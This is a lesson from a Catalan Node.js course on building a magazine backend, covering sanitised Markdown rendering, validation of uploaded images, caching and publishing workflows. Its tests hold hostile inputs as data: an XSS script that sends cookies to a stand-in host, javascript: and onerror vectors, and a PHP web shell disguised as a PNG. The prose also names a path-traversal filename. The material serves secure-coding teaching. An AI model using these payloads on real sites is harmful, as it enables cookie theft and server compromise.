El tercer producte satèl·lit és el magazín d'Escena Viva: cròniques dels espectacles, entrevistes amb els artistes del Festival de Jazz de Primavera (evt-003), reportatges sobre el muntatge del Teatro Almendra. L'escriuen els organitzadors de cada sala i alguns col·laboradors externs; el llegeixen milers de persones que hi arriben des de cercadors i xarxes.
La idea genuïnament nova d'aquest projecte és el contingut: text que un humà escriu i que cal renderitzar sense obrir un forat de seguretat, fitxers que l'usuari puja i que menteixen sobre què són, i un patró de trànsit invertit respecte a tot l'anterior —aquí hi ha milers de lectures per cada escriptura, i això canvia l'arquitectura sencera.
Contingut
- El requisit de negoci
- Decisions de disseny i alternatives descartades
- El model de dades
- Slugs: generació, unicitat i per què no es canvien
- Flux editorial: esborranys, versions i publicació programada
- Markdown i el perill real de l'HTML
- El repte tècnic: pujada i processament d'imatges
- Rendiment de lectura: ETag, Redis i desnormalització
- Cerca, paginació i comentaris moderats
- SEO i canals de subscripció
- Proves i què queda fora
- El requisit de negoci
- Un organitzador escriu un article en Markdown, el desa com a esborrany i el revisa tantes vegades com vulgui.
- Pot programar la publicació: la crònica de l'estrena surt a les 09:00 de l'endemà, no quan l'autor estigui despert.
- Un article es pot referir a un esdeveniment del catàleg (
evt-003) per enllaçar amb la seva fitxa i les seves entrades. - Els lectors anònims llegeixen articles publicats, molt de pressa i molt sovint; els autenticats comenten, amb moderació.
- Tot el contingut publicat ha de ser indexable: URL estables, sitemap, RSS i metadades.
- Decisions de disseny i alternatives descartades
| Decisió | Alternativa descartada | Per què |
|---|---|---|
| MongoDB (M7) per als articles | PostgreSQL, com la botiga | L'article és un document d'estructura variable. No hi ha transaccions entre entitats ni diners, i el seu índex de text ens dóna cerca de franc |
| Markdown en cru, renderitzat al servidor | Desar l'HTML ja renderitzat | El Markdown és la font editable; l'HTML n'és un derivat. Si canvies de renderitzador o descobreixes una falla de sanejament, el regeneres. A l'inrevés no es pot |
| Renderitzar al servidor i posar l'HTML a la memòria cau | Renderitzar al navegador | El SEO exigeix HTML servit, i renderitzar a cada lectura malbarata CPU quan el contingut canvia una vegada al dia |
slug immutable amb redireccions |
Regenerar el slug en editar el títol | Un slug que canvia trenca tots els enllaços externs i enfonsa el posicionament |
| Estat esborrany/programat/publicat/arxivat | Un booleà publicat |
«Programat» i «arxivat» no caben en un booleà, i són requisits reals |
| Imatges a emmagatzematge d'objectes | Disc local | El sistema de fitxers del PaaS és efímer (M11): un desplegament les esborra |
| Miniatures a la cua | Processar dins la petició | sharp és intensiu en CPU; tres mides dins de la petició bloquegen el bucle (M10) |
- El model de dades
// src/repositoris/esquemes/article.js
const esquemaArticle = new Schema({
slug: { type: String, required: true, unique: true },
titol: { type: String, required: true, maxlength: 160 }, resum: { type: String },
cosMarkdown: { type: String, required: true }, // la font editable
cosHtml: String, // derivat i sanejat (punt 6)
estat: { type: String, default: 'esborrany',
enum: ['esborrany', 'programat', 'publicat', 'arxivat'] },
autorId: { type: String, required: true },
autorNom: { type: String, required: true }, // desnormalitzat (punt 8)
etiquetes: { type: [String], default: [] },
esdevenimentId: { type: String, default: null }, // 'evt-003'
salaId: { type: String, default: null }, // 'teatro-almendra'
imatgePortada: { clau: String, amplada: Number, textAlternatiu: String },
publicatEl: { type: Date, default: null }, programatPer: { type: Date, default: null },
versions: { type: [esquemaVersio], default: [] },
versio: { type: Number, default: 1 } }, { timestamps: true }); // versio → ETag
esquemaArticle.index({ estat: 1, publicatEl: -1 }); // consulta principal
esquemaArticle.index({ etiquetes: 1, publicatEl: -1 });
esquemaArticle.index({ esdevenimentId: 1, publicatEl: -1 });
// Index de text per a la cerca (punt 9); els pesos prioritzen el titol.
esquemaArticle.index({ titol: 'text', resum: 'text', cosMarkdown: 'text' },
{ weights: { titol: 10, resum: 5, cosMarkdown: 1 }, default_language: 'spanish' });A més hi ha dues col·leccions: comentaris i redireccions (slugAntic → slugNou). Els comentaris no s'incrusten dins l'article: un document de MongoDB té un límit de 16 MB i, sobretot, un article popular amb 800 comentaris faria que cada lectura carregués els 800. Cada element de versions desa numero, titol, cosMarkdown, autorId i guardadaEl.
- Slugs: generació, unicitat i per què no es canvien
El repositori d'aquest mateix curs ho exigeix i el navegador ho agraeix: res de ç, accents, · ni apòstrofs a les URL.
// src/serveis/slugs.js — l'index unique sobre slug es la garantia final
// strict elimina tot el que no sigui alfanumeric o guio; locale 'ca' passa
// 'ç' a 'c' i 'à' a 'a'. El tall a 80 dona URL llegibles i compartibles.
const generarSlugBase = (titol) =>
slugify(titol, { lower: true, strict: true, locale: 'ca', trim: true }).slice(0, 80);
async function generarSlugUnic({ repositoriArticles, titol }) {
const base = generarSlugBase(titol);
let candidat = base; let sufix = 1;
while (await repositoriArticles.existeixSlug(candidat)) { // 2 o 3 voltes com a molt
sufix += 1; candidat = `${base}-${sufix}`;
}
return candidat;
}
module.exports = { generarSlugBase, generarSlugUnic };'Crònica del Festival de Jazz: la nit que la Sala Bóveda va tremolar' produeix cronica-del-festival-de-jazz-la-nit-que-la-sala-boveda-va-tremolar. El bucle té una carrera teòrica (dos autors amb el mateix títol alhora) que es resol capturant l'error de clau duplicada i reintentant: la comprovació prèvia és una optimització, la restricció de la base de dades és la veritat. Per què un slug no es canvia. En canviar /magazin/cronica-jazz per una altra cosa, tots els enllaços externs retornen 404, el cercador perd l'historial de l'article i comences de zero, i qui el va compartir comparteix un enllaç trencat per sempre. Si el títol canvia de debò, la regla és crear el slug nou i desar una redirecció 301 permanent des de l'antic.
La ruta GET /:slug busca primer l'article publicat; si no el troba consulta redireccions i respon resposta.redirect(301, ...); i només si tampoc no hi ha redirecció llança RecursNoTrobat. 301 i no 302: el 301 trasllada el posicionament al destí i els clients el posen a la memòria cau; un 302 no trasllada res.
- Flux editorial: esborranys, versions i publicació programada
| De → a | Qui | Efecte |
|---|---|---|
| esborrany → programat | Autor o administrador | Encua un treball diferit amb programatPer |
| esborrany → publicat | Autor o administrador | publicatEl = ara, renderitza HTML, invalida memòria cau |
| programat → esborrany | Autor o administrador | Cancel·la el treball encuat |
| programat → publicat | El sistema (treball de la cua) | Igual que publicar a mà |
| publicat → arxivat | Administrador | Deixa de llistar-se; el slug redirigeix o retorna 410 |
Qui pot moure cada transició ho decideix la política pura del M8, no un if al controlador. La publicació programada fa servir treballs diferits de BullMQ (M10).
// src/serveis/publicacio.js
async function programarPublicacio({ article, quan, cuaEditorial }) {
const retardMs = new Date(quan).getTime() - Date.now();
if (retardMs <= 0) throw new ErrorDeValidacio('DATA_EN_PASSAT', { quan });
await cuaEditorial.add('publicar-article', { articleId: article.id },
{ delay: retardMs, attempts: 3, removeOnComplete: 100,
jobId: `publicar-${article.id}` }); // determinista: reprogramar substitueix
return repositoriArticles.actualitzar(article.id,
{ estat: 'programat', programatPer: quan });
}
// El consumidor (proces a part, M10/M11) REVALIDA l'estat abans d'actuar:
// si l'autor ha tornat l'article a esborrany i el treball no s'ha cancellat be,
// publicar a cegues trauria a la llum un text retirat.
new Worker('editorial', async ({ data }) => {
const article = await repositoriArticles.obtenir(data.articleId);
if (article?.estat !== 'programat') return { omes: true };
await serveiPublicacio.publicar(article);
}, { connection });Historial de versions. Cada desada d'un article ja publicat empeny la versió anterior a l'array versions, amb un topall de les 20 últimes. Costa molt poc i evita el desastre clàssic: algú enganxa malament, desa, i el text de dues hores ha desaparegut. Desar versions és més fàcil que penedir-se'n.
- Markdown i el perill real de l'HTML
markdown-it converteix Markdown en HTML. El problema és que el Markdown admet HTML en cru per disseny: si un autor escriu <script>...</script>, surt tal qual. I «els autors són de confiança» és una premissa que dura fins que un col·laborador extern té compte o fins que el compte d'un organitzador queda compromès. Desactivar l'HTML (html: false) no basta: queden vectors com ara [text](javascript:alert(1)). La defensa correcta és de dues capes: renderitzar amb l'HTML desactivat i sanejar el resultat amb llista blanca.
// src/serveis/renderitzador.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });
const OPCIONS_SANEJAMENT = {
// Llista BLANCA: nomes sobreviu el que hi ha enumerat. Una llista negra
// sempre es queda curta davant d'una etiqueta o un atribut nou.
allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
'th', 'td', 'hr', 'br'],
allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
img: ['src', 'alt', 'width', 'height', 'loading'] },
allowedSchemes: ['http', 'https', 'mailto'], // sense javascript: ni data:
allowedSchemesByTag: { img: ['https'] },
// Enllacos externs mai sense rel, o exposem window.opener.
transformTags: { img: sanejarHtml.simpleTransform('img', { loading: 'lazy' }),
a: sanejarHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderitzarArticle = (cos) => sanejarHtml(md.render(cos), OPCIONS_SANEJAMENT);
module.exports = { renderitzarArticle, OPCIONS_SANEJAMENT };El renderitzat es fa en desar i en publicar, no a cada lectura: l'HTML sanejat es desa a cosHtml. Això té una conseqüència que de vegades s'oblida: si demà descobreixes que la teva llista blanca deixava passar alguna cosa, no n'hi ha prou de corregir les opcions, cal regenerar tots els cosHtml amb un script, i desar sempre el Markdown original és el que ho fa possible. I la regla d'or del M8: escapar en mostrar tot el que no passa per aquesta canonada —el títol, el nom de l'autor, un comentari—.
- El repte tècnic: pujada i processament d'imatges
Una foto de la Sala Bóveda arriba des del navegador, i tot el que el client explica sobre ella és mentida potencial.
Pas 1: límits abans que res. multer es configura amb memoryStorage() —no toquem disc, el del PaaS és efímer— i amb limits: { fileSize: 8 MB, files: 5, fields: 10, parts: 20 }. El seu fileFilter descarta per Content-Type allò evident sense llegir el contingut, però no és la validació de veritat: aquesta capçalera la tria el client.
Pas 2: validar el tipus real pel nombre màgic. És exactament la lliçó 03-06 del M3. Ni l'extensió ni el Content-Type proven res perquè els tria l'atacant; els primers bytes del fitxer, no.
// src/serveis/validacio-imatges.js
// Signatures dels formats que acceptem (M3: Buffers i nombres magics).
const SIGNATURES = [
{ tipus: 'image/jpeg', extensio: 'jpg', bytes: [0xff, 0xd8, 0xff] },
{ tipus: 'image/png', extensio: 'png',
bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
{ tipus: 'image/webp', extensio: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];
function detectarTipusReal(bufer) {
for (const signatura of SIGNATURES) {
if (!bufer.subarray(0, signatura.bytes.length).equals(Buffer.from(signatura.bytes))) continue;
if (signatura.extra && !signatura.extra(bufer)) continue;
return { tipus: signatura.tipus, extensio: signatura.extensio };
}
return null; // cap signatura coneguda: no es una imatge que acceptem
}
validarImatge embolcalla detectarTipusReal: si no hi ha cap signatura reconeguda llança CONTINGUT_NO_ES_IMATGE, i si el tipus detectat no coincideix amb el mimetype declarat llança TIPUS_INCOHERENT —perquè un fitxer que diu ser PNG i per dins és una altra cosa no és un error de l'usuari, és un intent—.
Pas 3: el nom el posa el servidor. fitxer.originalname pot ser ../../../etc/passwd o muntatge.jpg.php; no es fa servir per construir rutes ni per res que no sigui mostrar-lo escapat. La clau de l'objecte es genera: `magazin/${articleId}/${randomUUID()}.${extensio}`, amb l'extensió derivada del contingut real. Si la imatge anés a disc en desenvolupament, la ruta passa per resoldreDinsDe del M3; en producció va a emmagatzematge d'objectes i se serveix amb URL signada de caducitat curta o des d'una CDN, mai des del disc del contenidor (M11).
Pas 4: les mides es generen a la cua, perquè processar tres versions d'una foto de 8 MB dins de la petició bloqueja el procés i dispara el p99 (M10).
// src/cues/imatges.js — consumidor, proces a part
const MIDES = [{ nom: 'miniatura', amplada: 320 }, { nom: 'contingut', amplada: 960 },
{ nom: 'portada', amplada: 1600 }];
new Worker('imatges', async ({ data }) => {
const original = await magatzem.descarregar(data.clauOriginal);
const generades = [];
for (const mida of MIDES) {
const sortida = await sharp(original)
.rotate() // respecta l'orientacio EXIF
.resize({ width: mida.amplada, withoutEnlargement: true })
.webp({ quality: 82 }).toBuffer();
const clau = data.clauOriginal.replace(/\.(\w+)$/, `-${mida.nom}.webp`);
await magatzem.pujar(clau, sortida, 'image/webp');
generades.push({ nom: mida.nom, clau, amplada: mida.amplada });
}
await repositoriArticles.registrarImatges(data.articleId, generades);
}, { connection, concurrency: 2 });L'efecte secundari mereix subratllar-se: en recodificar amb sharp, el fitxer publicat és un de nou generat per nosaltres, no el que va pujar l'usuari; això elimina de passada les metadades EXIF (inclosa la geolocalització) i neutralitza polyglots i càrregues incrustades.
- Rendiment de lectura: ETag, Redis i desnormalització
Un article s'escriu una vegada i es llegeix cinquanta mil vegades. Tres capes, de la més barata a la més cara:
flowchart LR
N["Navegador"] -->|"If-None-Match"| C["CDN / servidor intermediari"]
C -->|"304 o cos"| N
C -->|"fallada de cache"| A["API Express"]
A --> R[("Redis")]
R -->|"encert"| A
A -->|"fallada"| M[("MongoDB")]
Capa 1: capçaleres HTTP (M4). Qui ja té l'article no l'hauria de descarregar una altra vegada:
function respondreArticle(resposta, article) {
// L'ETag es deriva del contingut: canvia nomes si l'article canvia.
// s-maxage separa CDN de navegador; stale-while-revalidate serveix contingut
// una mica vell mentre revalida, aixi el lector no espera mai.
resposta.set('ETag', `"art-${article.id}-${article.versio}"`);
resposta.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
return resposta.json(article);
}Express 5 compara l'ETag amb l'If-None-Match entrant i respon 304 sense cos: uns 200 bytes davant dels 40 KB de l'article. Capa 2: Redis amb invalidació (M10), cache-aside amb clau per slug:
// src/serveis/lectura-articles.js
const CLAU = (slug) => `article:publicat:${slug}`;
async function obtenirArticlePublicat({ slug, redis, repositoriArticles }) {
const enCache = await redis.get(CLAU(slug));
if (enCache) return JSON.parse(enCache);
const article = await repositoriArticles.cercarPublicatPerSlug(slug);
if (!article) return null;
// TTL com a xarxa de seguretat; la invalidacio explicita es el mecanisme real.
await redis.set(CLAU(slug), JSON.stringify(article), 'EX', 600);
return article;
}
async function invalidarArticle({ slug, redis }) {
// Els llistats tambe contenen l'article: cal tirar-los.
await redis.del(CLAU(slug), 'magazin:portada', 'magazin:sitemap', 'magazin:rss');
}La invalidació es dispara en publicar, en editar un article publicat i en arxivar. L'error habitual és confiar només en el TTL: un article amb una errada visible durant deu minuts és el que fa que l'equip editorial deixi de confiar en l'eina. Capa 3: desnormalitzar el nom de l'autor. L'article desa autorNom, no només autorId. Duplicar dades sol ser mala idea, però aquí estalvia una consulta (o un $lookup) a cadascuna de les cinquanta mil lectures, el nom no canvia gairebé mai, i quan canvia un treball de la cua actualitza els seus articles i invalida la memòria cau. La regla general: desnormalitza quan la dada és estable, la lectura és massiva i pots anomenar el responsable d'actualitzar-la.
- Cerca, paginació i comentaris moderats
L'índex de text del punt 3 dóna una cerca decent sense infraestructura extra, i el llistat fa servir paginació per cursor (M10), no skip:
const cercarArticles = ({ consulta, limit = 10 }) => ModelArticle
.find({ $text: { $search: consulta }, estat: 'publicat' },
{ puntuacio: { $meta: 'textScore' } })
.sort({ puntuacio: { $meta: 'textScore' } }).limit(limit).lean();
async function llistarPublicats({ cursor, limit = 12, etiqueta }) {
const filtre = { estat: 'publicat' };
if (etiqueta) filtre.etiquetes = etiqueta;
if (cursor) filtre.publicatEl = { $lt: new Date(cursor) }; // cursor, no skip
// El select importa: no carreguis cosMarkdown ni versions per a una portada
// de targetes. Es la diferencia entre transferir 8 KB i 800 KB per pagina.
const docs = await ModelArticle.find(filtre)
.select('slug titol resum autorNom publicatEl etiquetes imatgePortada')
.sort({ publicatEl: -1 }).limit(limit + 1).lean();
const pagina = docs.slice(0, limit); // l'extra nomes serveix per saber si n'hi ha mes
return { articles: pagina.map(aResumDomini),
cursorSeguent: docs.length > limit ? pagina.at(-1).publicatEl.toISOString() : null };
}MongoDB $text |
Elasticsearch / OpenSearch |
|---|---|
| Arrel de paraula per idioma, pesos per camp | Analitzadors configurables, sinònims, tolerància a errades |
| Un índex de text per col·lecció, sense ressaltat | Múltiples índexs, ressaltat, suggeriments i facetes |
| Zero infraestructura extra | Un clúster més per operar i pagar |
Amb uns quants milers d'articles, $text és l'elecció correcta; es canvia quan apareguin requisits de «volies dir», facetes combinades o ressaltat, i migrar és fàcil si la cerca viu darrere d'una interfície de repositori (M7). Comentaris. Un sistema obert sense defenses s'omple de brossa en pocs dies. Les capes que funcionen: autenticació obligatòria (elimina el 90 % del soroll automatitzat), limitació de peticions del M6 (5 cada 10 minuts), validació zod (z.string().trim().min(2).max(2000) més un .refine() que rebutja més de dos enllaços), cua de moderació amb estat pendent per defecte, i escapament en mostrar: els comentaris no passen per Markdown, són text pla escapat.
- SEO i canals de subscripció
Amb les peces anteriors això gairebé surt tot sol, i és el que connecta el magazín amb el món real del portal:
// src/rutes/feeds.js — el sitemap va a la memoria cau i s'invalida en publicar
rutes.get('/sitemap.xml', async (peticio, resposta) => {
const enCache = await redis.get('magazin:sitemap');
if (enCache) return resposta.type('application/xml').send(enCache);
const articles = await repositoriArticles.totsElsPublicats();
const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
// lastmod = data de l'ultima edicio, igual que el sitemap del portal.
...articles.map((a) => `<url><loc>${configuracio.urlPublica}/magazin/${a.slug}</loc>` +
`<lastmod>${a.actualitzatEl.toISOString().slice(0, 10)}</lastmod></url>`),
'</urlset>'].join('\n');
await redis.set('magazin:sitemap', xml, 'EX', 3600);
return resposta.type('application/xml').send(xml);
});El mateix per a /rss.xml (amb <item> per article) i per a les metadades Open Graph derivades de titol, resum i imatgePortada. Detall que arruïna sitemaps: cal escapar l'XML (&, <, >) als títols; un ampersand solt invalida el document sencer.
- Proves i què queda fora
describe('magazin', () => {
it("saneja l'HTML malicios incrustat al Markdown", () => {
const html = renderitzarArticle(
'Hola <script>fetch("//dolent.test?c="+document.cookie)</script>\n\n' +
'[clica](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
expect(html).to.not.include('<script');
expect(html).to.not.include('javascript:');
expect(html).to.not.include('onerror');
});
it('rebutja un fitxer que diu ser PNG i no ho es', async () => {
await peticio(crearAplicacio())
.post('/api/v1/magazin/articles/art-1/imatges')
.set('Authorization', `Bearer ${tokenOrganitzador}`)
.attach('imatge', Buffer.from('<?php system($_GET[0]); ?>'),
{ filename: 'foto.png', contentType: 'image/png' })
.expect(400)
.expect((r) => expect(r.body.error.codi).to.equal('CONTINGUT_NO_ES_IMATGE'));
});
});En falten quatre de breus: que un article tornat a esborrany no es publiqui quan s'executa el seu treball diferit, que una segona petició amb If-None-Match retorni 304, que generarSlugBase produeixi URL sense accents ni ç, i que publicar invalidi la clau de Redis. Però la primera és la més valuosa del projecte: una prova de seguretat que s'executa a cada git push (M11, CI) i que impedeix que una actualització de dependències reobri un XSS.
| Fora | Per què | Ampliació |
|---|---|---|
| Editor visual (WYSIWYG) | És front-end, i gros | Editor de blocs que emet Markdown; el servidor no canvia |
| Articles multiidioma | Model diferent (grups de traducció, hreflang) | Col·lecció traduccions amb grupId |
| Col·laboració en viu sobre l'esborrany | Requereix CRDT o OT, un altre curs | Socket.IO del 12-01 + Yjs |
Errors Comuns i Consells
- Confiar en el
Content-Typeo en l'extensió. Ja ho sabies del M3; aquí és on mossega: el nombre màgic és l'única prova real del tipus d'un fitxer. - Fer servir
originalnameper construir la ruta de desada. Recorregut de directoris servit en safata: nom generat sempre. I no renderitzis el Markdown a cada lectura: renderitza en desar, posa l'HTML a la memòria cau i desa sempre l'original per poder regenerar. - Sanejar amb llista negra. Prohibir
<script>no basta: queden<iframe>,<object>,onmouseover,srcdoc… Llista blanca o res. Tampoc no canviïs un slug sense redirecció ni posis res a la memòria cau sense invalidar: un TTL és una xarxa de seguretat, no una estratègia. - Consell: posa un topall a l'array
versions. Un document de MongoDB que creix sense límit acaba xocant amb els 16 MB, i la fallada arriba en el pitjor moment.
Exercicis
-
Redirecció en reanomenar. Implementa el canvi de slug d'un article publicat: genera el nou, desa la redirecció des de l'antic, invalida les memòries cau i retorna 301 al slug vell. Afegeix-hi una prova de la cadena completa.
-
Antibrossa per reputació. Implementa la regla «un usuari amb 3 comentaris aprovats publica directament»; la resta entren com a
pendent. Prova-ho amb un usuari nou i amb un de veterà. -
Recuperar una versió. Implementa
POST /articles/:id/versions/:numero/restaurar, que copia aquella versió a l'article actual desant abans la vigent. Només l'autor o un administrador.
Solucions
1. Redirecció en reanomenar
async function reanomenarSlug({ articleId, titolNou, actor }) {
const article = await repositoriArticles.obtenir(articleId);
politica.exigir('article:editar', { actor, recurs: article }); // M8
const slugNou = await generarSlugUnic({ repositoriArticles, titol: titolNou });
if (slugNou === article.slug) return article;
const slugAntic = article.slug;
const actualitzat = await repositoriArticles.actualitzar(articleId,
{ slug: slugNou, titol: titolNou, $inc: { versio: 1 } });
// La redireccio es crea DESPRES d'alliberar el slug antic de l'article.
await repositoriRedireccions.crear({ slugAntic, slugNou, creadaEl: new Date() });
await invalidarArticle({ slug: slugAntic, redis });
await invalidarArticle({ slug: slugNou, redis });
return actualitzat;
}La prova demana el slug antic i espera un 301 amb Location: /magazin/cronica-del-festival-de-jazz, i comprova que la clau de Redis del slug vell ja no existeix.
2. Antibrossa per reputació
const APROVATS_PER_CONFIANCA = 3;
async function crearComentari({ articleId, autor, text }) {
const aprovats = await repositoriComentaris.comptarAprovatsDe(autor.id);
const estat = aprovats >= APROVATS_PER_CONFIANCA ? 'publicat' : 'pendent';
const comentari = await repositoriComentaris.crear({ articleId, autorId: autor.id,
autorNom: autor.nom, text, estat, creatEl: new Date().toISOString() });
// Nomes invalidem si es publica: si queda pendent, la memoria cau segueix correcta.
if (estat === 'pendent') await cuaModeracio.add('revisar-comentari',
{ comentariId: comentari.id });
else await redis.del(`comentaris:${articleId}`);
return comentari;
}Les proves són directes: un usuari acabat de registrar obté 'pendent'; un altre amb tres comentaris aprovats sembrats obté 'publicat'.
3. Restaurar una versió
async function restaurarVersio({ articleId, numero, actor }) {
const article = await repositoriArticles.obtenir(articleId);
if (!article) throw new RecursNoTrobat('ARTICLE_NO_TROBAT', { articleId });
politica.exigir('article:editar', { actor, recurs: article });
const versio = article.versions.find((v) => v.numero === Number(numero));
if (!versio) throw new RecursNoTrobat('VERSIO_NO_TROBADA', { numero });
// Abans de sobreescriure, la vigent s'arxiva: restaurar es reversible.
const vigent = { numero: (article.versions.at(-1)?.numero ?? 0) + 1,
titol: article.titol, cosMarkdown: article.cosMarkdown,
autorId: actor.id, guardadaEl: new Date() };
const actualitzat = await repositoriArticles.actualitzar(articleId, {
titol: versio.titol, cosMarkdown: versio.cosMarkdown,
// Es torna a sanejar amb la llista blanca ACTUAL, no amb la de fa sis mesos.
cosHtml: renderitzarArticle(versio.cosMarkdown),
$push: { versions: { $each: [vigent], $slice: -20 } }, // mante el topall
$inc: { versio: 1 } });
await invalidarArticle({ slug: article.slug, redis });
return actualitzat;
}Conclusió
El magazín d'Escena Viva semblava el projecte més senzill dels quatre i ha resultat ser el que té més superfície d'atac. Has vist que el contingut escrit per humans és una dada hostil fins que es demostri el contrari: el Markdown admet HTML i cal sanejar amb llista blanca, un fitxer pujat no és el que diu ser i cal mirar-li els bytes, i el nom que envia el client no toca mai una ruta del sistema de fitxers.
També has invertit l'eix del rendiment. A la botiga el que era car era l'escriptura i el que era delicat, la consistència; aquí el que és car és la lectura repetida, i la resposta és una pila de tres capes —ETag i Cache-Control a la vora, Redis amb invalidació explícita al mig, desnormalització controlada al model—, cadascuna més barata que la següent. I has posat un límit honest a la cerca amb $text: suficient avui, substituïble demà perquè és darrere d'un repositori. A l'última lliçó de projectes tornem cap a dins de l'empresa. L'eina interna de l'equip d'Escena Viva porta el repte de la col·laboració: permisos que depenen de la pertinença a un espai i no només del rol, dues persones editant la mateixa tasca alhora, un registre d'activitat com a font de veritat i notificacions que cal agrupar per no sepultar ningú en correus.
Curs de Node.js: De Principiant a Avançat
Mòdul 1: Introducció a Node.js
- Què és Node.js?
- Instal·lació i Configuració de l'Entorn
- El Teu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Modern per a Node.js
- El Projecte del Curs: la Plataforma Escena Viva
Mòdul 2: Conceptes Bàsics
- Arquitectura de Node.js
- El Bucle d'Esdeveniments (Event Loop)
- Callbacks i Programació Asíncrona
- Promeses i async/await
- Esdeveniments i EventEmitter
- Mòduls CommonJS i require()
- Mòduls ES i Interoperabilitat
Mòdul 3: Sistema de Fitxers i E/S
- Lectura i Escriptura de Fitxers
- El Mòdul fs a Fons
- Rutes Multiplataforma amb el Mòdul path
- Treballant amb Streams
- Streams de Transformació i pipeline
- Buffers i Dades Binàries
Mòdul 4: HTTP i Servidors Web
- Creant un Servidor HTTP Simple
- Gestió de Sol·licituds i Respostes
- Enrutament Manual
- Servint Fitxers Estàtics
- Rebent Dades: Cossos de Petició i JSON
- Consumint APIs Externes des de Node.js
Mòdul 5: NPM i Gestió de Paquets
- Introducció a NPM i package.json
- Instal·lació i Ús de Paquets
- Versionat Semàntic i package-lock
- Scripts d'npm i Automatització del Projecte
- Creació i Publicació de Paquets
- Seguretat i Manteniment de Dependències
Mòdul 6: Framework Express.js
- Introducció a Express.js
- Configuració d'una Aplicació Express
- Enrutament a Express
- Middleware
- Middleware de Tercers Essencials
- Validació de Dades d'Entrada
- Gestió d'Errors
Mòdul 7: Bases de Dades i ORMs
- Introducció a les Bases de Dades
- Usant MongoDB amb Mongoose
- Operacions CRUD
- Relacions, Poblat i Consultes Avançades
- Usant Bases de Dades SQL amb Sequelize
- Migracions, Transaccions i Dades de Prova
Mòdul 8: Autenticació i Autorització
- Introducció a l'Autenticació
- Registre d'Usuaris i Hash de Contrasenyes
- Sessions i Galetes amb Passport.js
- Autenticació amb JWT
- Control d'Accés Basat en Rols
- Bones Pràctiques de Seguretat en APIs
Mòdul 9: Proves i Depuració
- Introducció a les Proves
- Proves Unitàries amb Mocha i Chai
- Dobles de Prova amb Sinon
- Proves d'Integració
- Cobertura i Automatització de les Proves
- Depuració d'Aplicacions Node.js
Mòdul 10: Temes Avançats
- El Mòdul Cluster
- Fils de Treball (Worker Threads)
- Memòria Cau i Cues de Treball amb Redis
- Optimització del Rendiment
- Construcció d'APIs RESTful
- GraphQL amb Node.js
Mòdul 11: Desplegament i DevOps
- Configuració i Variables d'Entorn
- Registre i Monitoratge en Producció
- Usant PM2 per a la Gestió de Processos
- Empaquetatge amb Docker
- Desplegant a Heroku i Altres PaaS
- Integració i Desplegament Continus
